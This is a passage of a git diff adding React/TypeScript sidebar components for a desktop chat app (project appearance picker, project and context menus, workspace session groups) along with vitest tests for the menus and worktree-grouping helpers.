+        <ProjectContextMenu isActive={isActive} project={project}>
+          {shell}
+        </ProjectContextMenu>
+      )}
+      {open && preview.length > 0 && <SidebarRowNest>{renderRows?.(preview)}</SidebarRowNest>}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/project-appearance.tsx b/ui-desktop/src/app/chat/sidebar/projects/project-appearance.tsx
new file mode 100644
index 000000000..f6ef82745
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/project-appearance.tsx
@@ -0,0 +1,83 @@
+import { Codicon } from '@/components/ui/codicon'
+import { ColorSwatches } from '@/components/ui/color-swatches'
+import { Tip } from '@/components/ui/tooltip'
+import { PROFILE_SWATCHES } from '@/lib/profile-color'
+import { cn } from '@/lib/utils'
+
+// Curated codicons for a project glyph (tinted by the chosen color). Shared by
+// the kebab's Appearance popover and the right-click menu's Appearance submenu
+// so both offer the same picker.
+export const PROJECT_ICONS = [
+  'folder-library',
+  'repo',
+  'rocket',
+  'beaker',
+  'flame',
+  'star-full',
+  'heart',
+  'zap',
+  'target',
+  'lightbulb',
+  'tools',
+  'device-desktop',
+  'device-mobile',
+  'terminal',
+  'dashboard',
+  'globe',
+  'broadcast',
+  'cloud',
+  'database',
+  'package',
+  'book',
+  'organization',
+  'bug',
+  'shield',
+  'key',
+  'gift',
+  'telescope',
+  'home'
+]
+
+interface ProjectAppearancePickerProps {
+  color: null | string
+  icon: null | string
+  noColorLabel: string
+  onColor: (color: null | string) => void
+  onIcon: (icon: null | string) => void
+}
+
+/** Color swatches + icon grid for a project's appearance — one component so the
+ *  kebab popover and the right-click submenu render an identical picker. */
+export function ProjectAppearancePicker({ color, icon, noColorLabel, onColor, onIcon }: ProjectAppearancePickerProps) {
+  return (
+    <>
+      <ColorSwatches
+        clearIcon="circle-slash"
+        clearLabel={noColorLabel}
+        onChange={onColor}
+        swatches={PROFILE_SWATCHES}
+        value={color ?? null}
+      />
+      {/* Same 6 columns + gap as the swatch grid so the picker keeps the
+          profile picker's width (icons flex to fill, not fixed-width). */}
+      <div className="mt-2 grid grid-cols-6 gap-1.5">
+        {PROJECT_ICONS.map(name => (
+          <Tip key={name} label={name}>
+            <button
+              aria-label={name}
+              className={cn(
+                'grid aspect-square place-items-center rounded-md text-(--ui-text-tertiary) transition hover:bg-(--ui-control-hover-background)',
+                icon === name && 'bg-(--ui-control-active-background) text-foreground'
+              )}
+              onClick={() => onIcon(icon === name ? null : name)}
+              style={icon === name && color ? { color } : undefined}
+              type="button"
+            >
+              <Codicon name={name} size="0.8125rem" />
+            </button>
+          </Tip>
+        ))}
+      </div>
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/project-menu.test.tsx b/ui-desktop/src/app/chat/sidebar/projects/project-menu.test.tsx
new file mode 100644
index 000000000..e0df9f2a5
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/project-menu.test.tsx
@@ -0,0 +1,118 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+
+import { ProjectMenu } from './project-menu'
+import type { SidebarProjectTree } from './workspace-groups'
+
+afterEach(cleanup)
+
+// jsdom doesn't implement ResizeObserver; Radix's PopoverContent/Arrow use it
+// (via @radix-ui/react-use-size) to measure the arrow once the popover is
+// actually mounted. The kebab-only test above never opens a Popover, so it
+// doesn't need this — only the appearance-popover test below does.
+beforeAll(() => {
+  vi.stubGlobal(
+    'ResizeObserver',
+    class {
+      observe() {}
+      unobserve() {}
+      disconnect() {}
+    }
+  )
+})
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      common: { cancel: 'Cancel', confirm: 'Confirm', done: 'Done', loading: 'Loading…' },
+      sidebar: {
+        projects: {
+          copyPath: 'Copy path',
+          deleteConfirm: 'This cannot be undone.',
+          menu: 'Actions',
+          menuAddFolder: 'Add folder',
+          menuAppearance: 'Appearance',
+          menuDelete: 'Delete',
+          menuRename: 'Rename',
+          menuSetActive: 'Set active',
+          noColor: 'No color',
+          removeFromSidebar: 'Remove from sidebar',
+          reveal: 'Reveal in file manager'
+        }
+      }
+    }
+  })
+}))
+
+vi.mock('@/store/layout', () => ({
+  $panesFlipped: {
+    get: () => false,
+    listen: () => () => {},
+    subscribe: (fn: (v: boolean) => void) => {
+      fn(false)
+
+      return () => {}
+    }
+  },
+  dismissAutoProject: vi.fn()
+}))
+
+vi.mock('@/store/projects', () => ({
+  copyPath: vi.fn(),
+  deleteProject: vi.fn(),
+  openProjectAddFolder: vi.fn(),
+  openProjectRename: vi.fn(),
+  revealPath: vi.fn(),
+  setActiveProject: vi.fn(),
+  setProjectAppearance: vi.fn().mockResolvedValue(false)
+}))
+
+const project = {
+  color: null,
+  icon: null,
+  id: 'p1',
+  isAuto: false,
+  label: 'Test D',
+  path: '/repo'
+} as unknown as SidebarProjectTree
+
+const tipTrigger = (el: HTMLElement) => el.closest('[data-slot="tooltip-trigger"]')
+
+const openTriggerMenu = (trigger: HTMLElement) => {
+  // Radix's dropdown trigger opens on pointerdown (a synthetic 'click' fireEvent
+  // alone won't do it), so fire the full mouse sequence a real click produces —
+  // same technique as session-actions-menu.test.tsx (#67500).
+  fireEvent.pointerDown(trigger, { button: 0, pointerType: 'mouse' })
+  fireEvent.pointerUp(trigger, { button: 0, pointerType: 'mouse' })
+  fireEvent.click(trigger)
+}
+
+describe('ProjectMenu', () => {
+  it('does not wrap the kebab trigger in a Tip', () => {
+    render(<ProjectMenu isActive={false} project={project} />)
+
+    const button = screen.getByRole('button', { name: 'Actions' })
+    expect(tipTrigger(button)).toBeNull()
+  })
+
+  // When anchorRef is absent, PopoverAnchor wraps the dropdown trigger so the
+  // appearance popover positions against the kebab. asChild must still reach
+  // the real button (no non-forwarding wrappers inside the chain — #67500).
+  it('opens the appearance popover through the kebab trigger when anchorRef is absent', async () => {
+    render(<ProjectMenu isActive={false} project={project} />)
+
+    const trigger = screen.getByRole('button', { name: 'Actions' })
+
+    openTriggerMenu(trigger)
+
+    const appearanceItem = await screen.findByRole('menuitem', { name: 'Appearance' })
+
+    fireEvent.click(appearanceItem)
+
+    // The color-swatch "No color" clear option only renders once the
+    // appearance Popover is actually open — proving the click reached the
+    // real button through the full Tip > PopoverAnchor > DropdownMenuTrigger
+    // chain rather than getting silently dropped on an intermediate wrapper.
+    expect(await screen.findByRole('button', { name: 'No color' })).toBeTruthy()
+  }, 15000)
+})
diff --git a/ui-desktop/src/app/chat/sidebar/projects/project-menu.tsx b/ui-desktop/src/app/chat/sidebar/projects/project-menu.tsx
new file mode 100644
index 000000000..8e8677b9c
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/project-menu.tsx
@@ -0,0 +1,345 @@
+import { useStore } from '@nanostores/react'
+import type * as React from 'react'
+import { useState } from 'react'
+
+import {
+  type ActionItemSpec,
+  ActionsContextMenu,
+  DROPDOWN_KIT,
+  type MenuKit,
+  renderActionItem
+} from '@/components/ui/actions-menu'
+import { Codicon } from '@/components/ui/codicon'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+import { Popover, PopoverAnchor, PopoverContent } from '@/components/ui/popover'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+import { $panesFlipped, dismissAutoProject } from '@/store/layout'
+import {
+  copyPath,
+  deleteProject,
+  openProjectAddFolder,
+  openProjectRename,
+  revealPath,
+  setActiveProject,
+  setProjectAppearance
+} from '@/store/projects'
+
+import { ProjectAppearancePicker } from './project-appearance'
+import type { SidebarProjectTree } from './workspace-groups'
+
+// Shared per-project state + handlers, so the kebab dropdown and the row's
+// right-click menu drive the exact same actions. Modeled on git GUIs (GitHub
+// Desktop / GitKraken): reveal in the file manager, copy path, and "Remove from
+// sidebar" (never deletes files — auto projects are dismissed, explicit ones
+// drop their entry). Explicit projects additionally get rename / add folder /
+// set active.
+function useProjectActions({
+  project,
+  isActive,
+  scoped,
+  onExitScope
+}: {
+  project: SidebarProjectTree
+  isActive: boolean
+  scoped: boolean
+  onExitScope?: () => void
+}) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const target = { id: project.id, name: project.label }
+  const [confirmDeleteOpen, setConfirmDeleteOpen] = useState(false)
+
+  const removeAuto = () => {
+    dismissAutoProject(project.id)
+
+    if (scoped) {
+      onExitScope?.()
+    }
+  }
+
+  const confirmDelete = async () => {
+    await deleteProject(project.id)
+
+    if (scoped) {
+      onExitScope?.()
+    }
+  }
+
+  // Rename / add folder / set active — explicit projects only (auto ones lack a
+  // materialized record). Appearance is handled per-surface (popover vs submenu)
+  // by the caller since its picker chrome differs.
+  const identityItems: ActionItemSpec[] = project.isAuto
+    ? []
+    : [
+        { icon: 'edit', key: 'rename', label: p.menuRename, onSelect: () => openProjectRename(target) },
+        {
+          icon: 'new-folder',
+          key: 'add-folder',
+          label: p.menuAddFolder,
+          onSelect: () => openProjectAddFolder(target)
+        },
+        {
+          disabled: isActive,
+          icon: 'target',
+          key: 'set-active',
+          label: p.menuSetActive,
+          onSelect: () => void setActiveProject(project.id)
+        }
+      ]
+
+  const pathItems: ActionItemSpec[] = [
+    {
+      disabled: !project.path,
+      icon: 'folder-opened',
+      key: 'reveal',
+      label: p.reveal,
+      onSelect: () => void revealPath(project.path)
+    },
+    {
+      disabled: !project.path,
+      icon: 'copy',
+      key: 'copy',
+      label: p.copyPath,
+      onSelect: () => void copyPath(project.path)
+    }
+  ]
+
+  const dangerItem: ActionItemSpec = project.isAuto
+    ? { icon: 'trash', key: 'remove', label: p.removeFromSidebar, onSelect: removeAuto, variant: 'destructive' }
+    : {
+        icon: 'trash',
+        key: 'delete',
+        label: `${p.menuDelete}…`,
+        onSelect: () => setConfirmDeleteOpen(true),
+        variant: 'destructive'
+      }
+
+  const confirmDialog = (
+    <ConfirmDialog
+      confirmLabel={p.menuDelete}
+      description={p.deleteConfirm}
+      destructive
+      onClose={() => setConfirmDeleteOpen(false)}
+      onConfirm={confirmDelete}
+      open={confirmDeleteOpen}
+      title={`${p.menuDelete} "${project.label}"?`}
+    />
+  )
+
+  return { confirmDialog, dangerItem, identityItems, pathItems }
+}
+
+// Per-project actions. The kebab keeps its row-anchored Appearance popover; the
+// right-click menu (ProjectContextMenu) renders the same actions with Appearance
+// as a submenu. Hidden until the row is hovered, matching the + affordance.
+export function ProjectMenu({
+  project,
+  isActive,
+  scoped = false,
+  onExitScope,
+  anchorRef
+}: {
+  project: SidebarProjectTree
+  isActive: boolean
+  // True when rendered in the entered-project header, so removal can leave the
+  // now-defunct scope.
+  scoped?: boolean
+  onExitScope?: () => void
+  // Anchor the appearance popover to the whole row instead of the kebab, so it
+  // opens flush against the sidebar's content-facing edge — otherwise a
+  // right-side sidebar drags the picker across the entire panel (the kebab
+  // lives at the row's outer edge). Falls back to the kebab when absent.
+  anchorRef?: React.RefObject<HTMLElement | null>
+}) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+  const [appearanceOpen, setAppearanceOpen] = useState(false)
+  // Open toward the content area: right when the sidebar is on the left, left
+  // when the panes are flipped (sidebar on the right).
+  const panesFlipped = useStore($panesFlipped)
+
+  const { confirmDialog, dangerItem, identityItems, pathItems } = useProjectActions({
+    isActive,
+    onExitScope,
+    project,
+    scoped
+  })
+
+  // Appearance writes route through the adopt-aware helper: an auto project is
+  // materialized on its first change (its id then changes), so close the picker
+  // on adopt to stop a second write double-creating from a now-stale node.
+  const applyAppearance = async (patch: { color?: null | string; icon?: null | string }) => {
+    if (await setProjectAppearance(project, patch)) {
+      setAppearanceOpen(false)
+    }
+  }
+
+  // Set color / pick an icon — shown for explicit projects and for auto ones
+  // (where selecting adopts the repo as a real project so the look sticks).
+  const appearanceItem = (
+    <DropdownMenuItem onSelect={() => setAppearanceOpen(true)}>
+      <Codicon name="symbol-color" size="0.875rem" />
+      <span>{p.menuAppearance}</span>
+    </DropdownMenuItem>
+  )
+
+  // When anchorRef is absent, PopoverAnchor wraps the trigger so the
+  // appearance popover positions against this button. Keep asChild chains free
+  // of non-forwarding wrappers (#67500).
+  const triggerButton = (
+    <DropdownMenuTrigger asChild>
+      <button
+        aria-label={p.menu}
+        className={cn(
+          'grid size-4 shrink-0 place-items-center rounded-sm bg-transparent text-(--ui-text-quaternary) opacity-0 transition-opacity hover:bg-(--ui-control-hover-background) hover:text-foreground data-[state=open]:opacity-100',
+          // In the project header reveal on the whole header hover; in overview
+          // rows reveal on the row hover.
+          scoped ? 'group-hover/section:opacity-100' : 'group-hover/workspace:opacity-100'
+        )}
+        onClick={event => event.stopPropagation()}
+        type="button"
+      >
+        <Codicon name="kebab-vertical" size="0.75rem" />
+      </button>
+    </DropdownMenuTrigger>
+  )
+
+  const trigger = anchorRef ? triggerButton : <PopoverAnchor asChild>{triggerButton}</PopoverAnchor>
+
+  return (
+    <Popover onOpenChange={setAppearanceOpen} open={appearanceOpen}>
+      {/* Position the appearance popover against the row (when a ref is wired);
+          the kebab is only the dropdown trigger then. */}
+      {anchorRef ? <PopoverAnchor virtualRef={anchorRef as React.RefObject<HTMLElement>} /> : null}
+      <DropdownMenu>
+        {trigger}
+        {/* Closing the menu refocuses the trigger (also the popover anchor),
+            which the appearance popover would read as focus-outside and die on.
+            Suppress that refocus so it survives. */}
+        <DropdownMenuContent
+          align="end"
+          className="w-48"
+          onCloseAutoFocus={event => event.preventDefault()}
+          sideOffset={6}
+        >
+          {project.isAuto ? (
+            // Inherited (auto) repos can still be themed — the change adopts the
+            // repo as a real project. Rename / add-folder / set-active stay out
+            // until then (they need the materialized record).
+            project.path && (
+              <>
+                {appearanceItem}
+                <DropdownMenuSeparator />
+              </>
+            )
+          ) : (
+            <>
+              {identityItems.slice(0, 1).map(item => renderActionItem(DROPDOWN_KIT, item))}
+              {appearanceItem}
+              {identityItems.slice(1).map(item => renderActionItem(DROPDOWN_KIT, item))}
+              <DropdownMenuSeparator />
+            </>
+          )}
+          {pathItems.map(item => renderActionItem(DROPDOWN_KIT, item))}
+          <DropdownMenuSeparator />
+          {renderActionItem(DROPDOWN_KIT, dangerItem)}
+        </DropdownMenuContent>
+      </DropdownMenu>
+      <PopoverContent
+        align="start"
+        className="w-auto p-2"
+        onClick={event => event.stopPropagation()}
+        side={panesFlipped ? 'left' : 'right'}
+        sideOffset={6}
+      >
+        <ProjectAppearancePicker
+          color={project.color ?? null}
+          icon={project.icon ?? null}
+          noColorLabel={p.noColor}
+          onColor={color => void applyAppearance({ color })}
+          onIcon={icon => void applyAppearance({ icon })}
+        />
+      </PopoverContent>
+      {confirmDialog}
+    </Popover>
+  )
+}
+
+interface ProjectContextMenuProps {
+  project: SidebarProjectTree
+  isActive: boolean
+  scoped?: boolean
+  onExitScope?: () => void
+  children: React.ReactNode
+}
+
+// Wrap a project row so right-clicking it opens the same actions as its kebab.
+// The kebab's row-anchored Appearance popover can't nest in a context menu, so
+// here Appearance is a submenu with the same swatch + icon picker.
+export function ProjectContextMenu({
+  project,
+  isActive,
+  scoped = false,
+  onExitScope,
+  children
+}: ProjectContextMenuProps) {
+  const { t } = useI18n()
+  const p = t.sidebar.projects
+
+  const { confirmDialog, dangerItem, identityItems, pathItems } = useProjectActions({
+    isActive,
+    onExitScope,
+    project,
+    scoped
+  })
+
+  const canTheme = !project.isAuto || Boolean(project.path)
+
+  const applyAppearance = (patch: { color?: null | string; icon?: null | string }) => {
+    void setProjectAppearance(project, patch)
+  }
+
+  const items = (kit: MenuKit) => (
+    <>
+      {identityItems.map(item => renderActionItem(kit, item))}
+      {canTheme && (
+        <kit.Sub>
+          <kit.SubTrigger>
+            <Codicon name="symbol-color" size="0.875rem" />
+            <span>{p.menuAppearance}</span>
+          </kit.SubTrigger>
+          <kit.SubContent className="w-auto p-2">
+            <ProjectAppearancePicker
+              color={project.color ?? null}
+              icon={project.icon ?? null}
+              noColorLabel={p.noColor}
+              onColor={color => applyAppearance({ color })}
+              onIcon={icon => applyAppearance({ icon })}
+            />
+          </kit.SubContent>
+        </kit.Sub>
+      )}
+      {(identityItems.length > 0 || canTheme) && <kit.Separator />}
+      {pathItems.map(item => renderActionItem(kit, item))}
+      <kit.Separator />
+      {renderActionItem(kit, dangerItem)}
+    </>
+  )
+
+  return (
+    <>
+      <ActionsContextMenu ariaLabel={p.menu} contentClassName="w-48" items={items}>
+        {children}
+      </ActionsContextMenu>
+      {confirmDialog}
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/workspace-group.tsx b/ui-desktop/src/app/chat/sidebar/projects/workspace-group.tsx
new file mode 100644
index 000000000..352ba5127
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/workspace-group.tsx
@@ -0,0 +1,164 @@
+import type * as React from 'react'
+import { useState } from 'react'
+
+import type { SessionInfo } from '@/clawcodex'
+import { Codicon } from '@/components/ui/codicon'
+import { useI18n } from '@/i18n'
+import { displayPath } from '@/lib/display-path'
+import { setWorkspaceNodeOpen } from '@/store/layout'
+import { notifyError } from '@/store/notifications'
+import { newSessionInProfile } from '@/store/profile'
+import { switchBranchInRepo } from '@/store/projects'
+
+import { SidebarRowStack } from '../chrome'
+import { SidebarLoadMoreRow } from '../load-more-row'
+
+import { SIDEBAR_GROUP_PAGE, useWorkspaceNodeOpen } from './model'
+import type { SidebarSessionGroup } from './workspace-groups'
+import {
+  WorkspaceAddButton,
+  WorkspaceContextMenu,
+  WorkspaceHeader,
+  WorkspaceMenu,
+  WorkspaceShowMoreButton
+} from './workspace-header'
+
+interface SidebarWorkspaceGroupProps {
+  group: SidebarSessionGroup
+  renderRows: (sessions: SessionInfo[]) => React.ReactNode
+  onNewSession?: (path: null | string) => void
+  // When set (linked worktree rows), shows a remove affordance that runs a real
+  // `git worktree remove`.
+  onRemove?: () => void
+}
+
+export function SidebarWorkspaceGroup({ group, renderRows, onNewSession, onRemove }: SidebarWorkspaceGroupProps) {
+  const { t } = useI18n()
+  const s = t.sidebar
+  const isProfileGroup = group.mode === 'profile'
+  // Empty worktree/branch lanes start collapsed — they only show a "No sessions
+  // yet" placeholder, so defaulting them open just adds noise. Profile lanes and
+  // lanes that already hold sessions default open.
+  const defaultOpen = isProfileGroup || group.sessions.length > 0
+  const [open, toggleOpen] = useWorkspaceNodeOpen(group.id, defaultOpen)
+  const [visibleCount, setVisibleCount] = useState(SIDEBAR_GROUP_PAGE)
+
+  const loadedCount = group.sessions.length
+  const visibleSessions = group.sessions.slice(0, visibleCount)
+  // Profile groups can have more rows on the server than are loaded — the
+  // aggregator reports `hasMore` so the lane can offer another page without
+  // pricing an exact total per refresh. Workspace groups only ever page within
+  // what's already loaded.
+  const hiddenLoaded = Math.max(0, loadedCount - visibleSessions.length)
+  const hiddenCount = isProfileGroup && group.hasMore ? Math.max(hiddenLoaded, 1) : hiddenLoaded
+  const nextCount = Math.min(SIDEBAR_GROUP_PAGE, hiddenCount)
+
+  // Leading glyph: profile color dot, a home mark for the repo's primary
+  // checkout (labeled by its live branch), or a branch/kanban mark otherwise.
+  const leadingIcon = group.color ? (
+    <span aria-hidden="true" className="size-2 shrink-0 rounded-full" style={{ backgroundColor: group.color }} />
+  ) : (
+    <Codicon
+      className="shrink-0 text-(--ui-text-tertiary)"
+      name={group.isKanban ? 'checklist' : group.isHome ? 'home' : 'git-branch'}
+      size="0.75rem"
+    />
+  )
+
+  // Reveal already-loaded rows first; only hit the backend when the next page
+  // crosses what's been fetched for this profile.
+  const handleProfileLoadMore = () => {
+    const target = visibleCount + SIDEBAR_GROUP_PAGE
+
+    setVisibleCount(target)
+
+    if (target > loadedCount && group.hasMore) {
+      group.onLoadMore?.()
+    }
+  }
+
+  const handleNewSession = async () => {
+    // Reveal the lane the new session targets — an empty worktree/branch lane
+    // starts collapsed, so without this the session lands in a folder the user
+    // can't see. Stable across the lane's default flipping open once populated.
+    setWorkspaceNodeOpen(group.id, true)
+
+    if (isProfileGroup) {
+      newSessionInProfile(group.id)
+
+      return
+    }
+
+    if (!onNewSession) {
+      return
+    }
+
+    // Main-checkout lanes are branch-labeled views over the same repo root path.
+    // Clicking "+" on `main` should open on `main`, not whatever branch the root
+    // currently sits on (`test0`, etc.), so explicitly switch first.
+    if (group.isMain && group.path && group.label) {
+      try {
+        await switchBranchInRepo(group.path, group.label)
+      } catch (err) {
+        notifyError(err, t.statusStack.coding.switchFailed(group.label))
+
+        return
+      }
+    }
+
+    onNewSession(group.path)
+  }
+
+  return (
+    <SidebarRowStack>
+      <WorkspaceContextMenu onRemove={onRemove} path={group.path}>
+        <WorkspaceHeader
+          action={
+            (onNewSession || isProfileGroup || onRemove) && (
+              <div className="flex items-center">
+                {(onNewSession || isProfileGroup) && (
+                  <WorkspaceAddButton
+                    label={s.newSessionIn(group.label)}
+                    // Profile groups start a fresh session in that profile but keep
+                    // the all-profiles browse view; workspace groups seed the new
+                    // session's cwd. Main checkout lanes are branch-targeted.
+                    onClick={() => void handleNewSession()}
+                  />
+                )}
+                {onRemove && <WorkspaceMenu onRemove={onRemove} path={group.path} />}
+              </div>
+            )
+          }
+          icon={leadingIcon}
+          label={group.label}
+          onToggle={toggleOpen}
+          open={open}
+          title={group.path ? displayPath(group.path) : undefined}
+        />
+      </WorkspaceContextMenu>
+      {open && (
+        <>
+          {visibleSessions.length === 0 ? (
+            <div className="min-h-7 pl-2 text-[0.75rem] leading-7 text-(--ui-text-quaternary)">{s.noSessions}</div>
+          ) : (
+            renderRows(visibleSessions)
+          )}
+          {hiddenCount > 0 &&
+            (isProfileGroup ? (
+              <SidebarLoadMoreRow
+                loading={Boolean(group.loadingMore)}
+                onClick={handleProfileLoadMore}
+                step={nextCount}
+              />
+            ) : (
+              <WorkspaceShowMoreButton
+                count={nextCount}
+                label={group.label}
+                onClick={() => setVisibleCount(count => count + SIDEBAR_GROUP_PAGE)}
+              />
+            ))}
+        </>
+      )}
+    </SidebarRowStack>
+  )
+}
diff --git a/ui-desktop/src/app/chat/sidebar/projects/workspace-groups.test.ts b/ui-desktop/src/app/chat/sidebar/projects/workspace-groups.test.ts
new file mode 100644
index 000000000..0f5eed2c1
--- /dev/null
+++ b/ui-desktop/src/app/chat/sidebar/projects/workspace-groups.test.ts
@@ -0,0 +1,967 @@
+import { describe, expect, it } from 'vitest'
+
+import type { ClawCodexGitWorktree } from '@/global'
+import type { ProjectInfo, SessionInfo } from '@/types/clawcodex'
+
+import {
+  baseName,
+  excludeProjectSessions,
+  kanbanWorktreeDir,
+  liveSessionProjectId,
+  mergeRepoWorktreeGroups,
+  NO_PROJECT_ID,
+  overlayLiveLanes,
+  overlayLivePreviews,
+  sessionProjectColor,
+  type SidebarProjectTree,
+  type SidebarSessionGroup,
+  sortWorktreeGroups
+} from './workspace-groups'
+
+// The grouping itself now lives on the backend (tui_gateway/project_tree.py,
+// covered by tests/tui_gateway/test_project_tree.py). This file only covers the
+// thin render helpers the desktop still owns + the VISUAL worktree enhancer.
+
+let nextId = 0
+
+function makeSession(cwd: null | string, overrides: Partial<SessionInfo> = {}): SessionInfo {
+  return {
+    archived: false,
+    cwd,
+    ended_at: null,
+    id: `s${nextId++}`,
+    input_tokens: 0,
+    is_active: false,
+    last_active: 1_000,
+    message_count: 1,
+    model: 'claude',
+    output_tokens: 0,
+    preview: null,
+    source: 'cli',
+    started_at: 1_000,
+    title: null,
+    tool_call_count: 0,
+    ...overrides
+  }
+}
+
+const lane = (over: Partial<SidebarSessionGroup> & Pick<SidebarSessionGroup, 'id' | 'label'>): SidebarSessionGroup => ({
+  path: null,
+  sessions: [],
+  ...over
+})
+
+describe('baseName', () => {
+  it('returns the final path segment, ignoring trailing slashes and separators', () => {
+    expect(baseName('/www/clawcodex/')).toBe('clawcodex')
+    expect(baseName('C:\\repos\\app')).toBe('app')
+    expect(baseName('')).toBeUndefined()
+  })
+})
+
+describe('kanbanWorktreeDir', () => {
+  it('matches a kanban task worktree (t_<hex>) and returns its .worktrees dir', () => {
+    expect(kanbanWorktreeDir('/repo/.worktrees/t_aaaaaaaa')).toBe('/repo/.worktrees')
+  })
+
+  it('does NOT match a user-named "New worktree" under .worktrees/ (its own lane)', () => {
+    expect(kanbanWorktreeDir('/repo/.worktrees/test-gui-stuff')).toBeNull()
+  })
+
+  it('returns null for non-kanban paths', () => {
+    expect(kanbanWorktreeDir('/repo/src')).toBeNull()
+    expect(kanbanWorktreeDir('/repo')).toBeNull()
+  })
+})
+
+describe('sortWorktreeGroups', () => {
+  it('pins trunk to the top, sinks kanban to the bottom, and orders the rest by recency', () => {
+    const at = (t: number) => [makeSession('/x', { last_active: t })]
+
+    const groups = [
+      lane({ id: 'k', label: 'kanban', isKanban: true, sessions: at(999) }),
+      lane({ id: 'stale', label: 'stale-branch', isMain: true, sessions: at(10) }),
+      lane({ id: 'wt', label: 'busy-worktree', isMain: false, sessions: at(500) }),
+      lane({ id: 'main', label: 'main', isMain: true, sessions: at(1) })
+    ]
+
+    // main (trunk) first despite being least recent; kanban last despite being
+    // most recent; busy-worktree ahead of stale-branch by activity.
+    expect(sortWorktreeGroups(groups).map(g => g.label)).toEqual(['main', 'busy-worktree', 'stale-branch', 'kanban'])
+  })
+
+  it('pins the live home checkout above trunk, even when it has no sessions yet', () => {
+    const groups = [
+      lane({ id: 'main', label: 'main', isMain: true, sessions: [makeSession('/x', { last_active: 999 })] }),
+      lane({ id: 'home', label: 'bb/projects-paradigm', isMain: true, isHome: true })
+    ]
+
+    expect(sortWorktreeGroups(groups).map(g => g.label)).toEqual(['bb/projects-paradigm', 'main'])
+  })
+
+  it('falls back to label order for equally-idle lanes', () => {
+    const groups = [lane({ id: 'b', label: 'beta', isMain: false }), lane({ id: 'a', label: 'alpha', isMain: false })]
+
+    expect(sortWorktreeGroups(groups).map(g => g.label)).toEqual(['alpha', 'beta'])
+  })
+})
+
+describe('mergeRepoWorktreeGroups (visual enhancer)', () => {
+  it('injects a linked worktree lane discovered by git that has no sessions yet', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [lane({ id: '/repo::branch::main', label: 'main', isMain: true, path: '/repo' })]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'feature', detached: false, isMain: false, locked: false, path: '/repo-wt-feature' }
+    ]
+
+    const merged = mergeRepoWorktreeGroups(repo, discovered)
+
+    expect(merged.map(g => g.label)).toEqual(['main', 'feature'])
+    // The injected lane is empty (visual only — never carries sessions).
+    expect(merged.find(g => g.label === 'feature')?.sessions).toEqual([])
+  })
+
+  it('never spawns a lane per kanban task worktree', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [lane({ id: '/repo::branch::main', label: 'main', isMain: true, path: '/repo' })]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'wt/t_aaaaaaaa', detached: false, isMain: false, locked: false, path: '/repo/.worktrees/t_aaaaaaaa' },
+      { branch: 'wt/t_bbbbbbbb', detached: false, isMain: false, locked: false, path: '/repo/.worktrees/t_bbbbbbbb' }
+    ]
+
+    expect(mergeRepoWorktreeGroups(repo, discovered).map(g => g.label)).toEqual(['main'])
+  })
+
+  it('does not duplicate a lane already present from the backend (by id/path)', () => {
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({
+          id: '/repo::branch::main',
+          label: 'main',
+          isMain: true,
+          path: '/repo',
+          sessions: [makeSession('/repo')]
+        })
+      ]
+    }
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'main', detached: false, isMain: true, locked: false, path: '/repo' }
+    ]
+
+    const merged = mergeRepoWorktreeGroups(repo, discovered)
+
+    expect(merged).toHaveLength(1)
+    // The backend lane keeps its session rows; the enhancer left it untouched.
+    expect(merged[0].sessions).toHaveLength(1)
+  })
+
+  it('is a no-op when git worktree list is unavailable (remote backend)', () => {
+    const groups = [lane({ id: '/repo::branch::main', label: 'main', isMain: true, path: '/repo' })]
+
+    expect(mergeRepoWorktreeGroups({ id: '/repo', path: '/repo', groups }, undefined).map(g => g.label)).toEqual([
+      'main'
+    ])
+  })
+
+  it('does not add a second "main" for a linked worktree checked out on main', () => {
+    const groups = [
+      lane({ id: '/repo::branch::main', label: 'main', isMain: true, path: '/repo', sessions: [makeSession('/repo')] })
+    ]
+
+    const discovered: ClawCodexGitWorktree[] = [
+      { branch: 'main', detached: false, isMain: false, locked: false, path: '/repo/.worktrees/main-mirror' }
+    ]
+
+    expect(
+      mergeRepoWorktreeGroups({ id: '/repo', path: '/repo', groups }, discovered).filter(g => g.label === 'main')
+    ).toHaveLength(1)
+  })
+
+  it('surfaces a user-named "New worktree" under .worktrees/ as its own lane', () => {
+    const discovered: ClawCodexGitWorktree[] = [
+      {
+        branch: 'clawcodex/test-gui-stuff',
+        detached: false,
+        isMain: false,
+        locked: false,
+        path: '/repo/.worktrees/test-gui-stuff'
+      }
+    ]
+
+    const merged = mergeRepoWorktreeGroups({ id: '/repo', path: '/repo', groups: [] }, discovered)
+
+    expect(merged.map(g => g.label)).toContain('clawcodex/test-gui-stuff')
+  })
+
+  it('relabels a dir-named linked worktree lane to its live checked-out branch', () => {
+    // Backend labels the lane by the worktree dir (`clawcodex-ci`); the live
+    // `git worktree list` says HEAD there is `bb/ci-affected-only` → branch wins.
+    const repo = {
+      id: '/repo',
+      path: '/repo',
+      groups: [
+        lane({
+          id: '/repo::branch::main',
+          label: 'main',
+          isMain: true,
+          path: '/repo',
+          sessions: [makeSession('/repo')]
+        }),
+        lane({
+          id: '/repo-ci',
+          label: 'clawcodex-ci',
+          isMain: false,
+          path: '/repo-ci',
